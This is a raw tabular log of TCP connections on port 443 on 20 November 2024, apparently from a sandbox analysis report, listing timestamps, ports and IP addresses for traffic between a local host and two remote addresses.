Nov 20, 2024 10:20:15.267056942 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.267292976 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.267311096 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.267369986 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.267376900 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.268470049 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.268479109 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.270361900 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.270390987 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.270884991 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.270884991 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.270909071 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.271330118 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.271358967 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.271562099 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.271701097 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.271709919 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.278352022 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.278409004 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.278490067 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.278944016 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.278965950 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.278983116 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.278989077 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.283035040 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.283047915 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.283123016 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.283600092 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.283612013 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.596092939 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.596739054 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.596770048 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.597524881 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.597529888 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.696207047 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.696278095 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.696561098 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.699600935 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.699615002 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.699625969 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.699631929 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.702145100 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.702188015 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.702327967 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.702646971 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.702656031 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.792448997 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:15.792527914 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:15.794538021 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:15.907562017 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.907953978 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.908338070 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.908354998 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.908960104 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.908965111 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.909295082 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.909317017 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.909687042 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.909945011 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.909950972 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.910177946 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.910195112 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.910664082 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.910667896 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.953567028 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.954071999 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.954092979 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.954821110 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.954826117 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.008775949 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.008887053 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.009041071 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.010138988 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.010402918 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.010443926 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.010453939 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.010502100 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.011310101 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.011329889 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.011409998 CET	49852	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.011415958 CET	443	49852	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.011727095 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.011984110 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.012028933 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.013205051 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.013226986 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.013382912 CET	49853	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.013390064 CET	443	49853	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.014493942 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.014506102 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.014524937 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.014529943 CET	443	49851	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.017815113 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.017844915 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.017946959 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.019639015 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.019649029 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.019682884 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.019726038 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.019797087 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.019912004 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.019925117 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.020612955 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.020631075 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.020775080 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.020941019 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.020947933 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.057322979 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.057486057 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.057693005 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.057925940 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.057950020 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.057962894 CET	49854	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.057969093 CET	443	49854	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.060816050 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.060842037 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.061086893 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.061261892 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.061275959 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.381269932 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.393191099 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.393209934 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.394120932 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.394126892 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.496516943 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.496787071 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.496833086 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.496839046 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.496884108 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.650835037 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.650877953 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.650893927 CET	49855	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.650907993 CET	443	49855	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.653768063 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.653815031 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.653883934 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.654093027 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.654104948 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.655910015 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.657658100 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.658668995 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.701590061 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.739619970 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.742556095 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.742566109 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.849303007 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:16.849339008 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:16.911324978 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.911396980 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.953856945 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.953890085 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.954541922 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.954550982 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.955509901 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.955527067 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.955984116 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.955990076 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.956315041 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.956350088 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.958431959 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.958451986 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.966562033 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.966582060 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:16.967145920 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:16.967152119 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.050215006 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.050365925 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.050419092 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.052234888 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.052337885 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.052378893 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.053229094 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.053251028 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.053263903 CET	49858	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.053273916 CET	443	49858	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.053790092 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.054078102 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.054130077 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.054127932 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.054172993 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.062927961 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.063301086 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.063358068 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.063394070 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.063433886 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.064480066 CET	49859	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.064502954 CET	443	49859	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.067754030 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.067771912 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.067784071 CET	49856	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.067801952 CET	443	49856	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.068818092 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.068847895 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.068864107 CET	49857	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.068871975 CET	443	49857	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.076874971 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.076926947 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.076991081 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.078527927 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.078581095 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.078779936 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.080017090 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.080053091 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.080223083 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.080615044 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.080636024 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.080993891 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.081012964 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.081219912 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.081263065 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.081315994 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.081372023 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.081394911 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.081464052 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.081475019 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.304260015 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.305056095 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.305074930 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.305526018 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.305532932 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.411139011 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.411355019 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.411451101 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.411660910 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.411681890 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.411704063 CET	49860	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.411710978 CET	443	49860	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.416608095 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.416660070 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.416847944 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.417604923 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.417623043 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.719727039 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.720578909 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.720643044 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.721008062 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.721136093 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.721148014 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.721482038 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.721499920 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.721930981 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.721947908 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.724457979 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.724868059 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.724895954 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.725277901 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.725289106 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.747066021 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.747556925 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.747592926 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.748048067 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.748054028 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.818999052 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.819163084 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.819236040 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.819363117 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.819363117 CET	49863	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.819416046 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.819442987 CET	443	49863	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.821944952 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.821984053 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.822041035 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.822062969 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.822101116 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.822238922 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.822240114 CET	49861	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.822254896 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.822273970 CET	443	49861	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.822413921 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.822469950 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.822648048 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.822791100 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.822805882 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.824347019 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.824385881 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.824541092 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.824728012 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.824743032 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.837470055 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.837694883 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.837754965 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.837841988 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.837852955 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.837883949 CET	49862	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.837888956 CET	443	49862	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.839838028 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.839905977 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.839988947 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.840104103 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.840121984 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.850703001 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.850927114 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.850979090 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.851005077 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.851020098 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.851030111 CET	49864	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.851037979 CET	443	49864	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.853138924 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.853173971 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:17.853240013 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.853382111 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:17.853394985 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.062211037 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.062901974 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.062941074 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.063361883 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.063366890 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.161891937 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.161964893 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.162086964 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.162113905 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.162296057 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.162296057 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.162344933 CET	49865	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.162384987 CET	443	49865	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.165285110 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.165347099 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.165461063 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.165643930 CET	49870	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.165666103 CET	443	49870	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.488465071 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.489217997 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.489249945 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.489830017 CET	49866	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.489835024 CET	443	49866	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.498251915 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.499273062 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.499310017 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.499375105 CET	49869	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.499385118 CET	443	49869	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.518809080 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.519485950 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.519516945 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.519925117 CET	49868	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.519944906 CET	443	49868	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.530124903 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.531481028 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.531507969 CET	443	49867	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:18.532071114 CET	49867	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:18.532078028 CET	443	49867	13.107.246.45	192.168.2.9
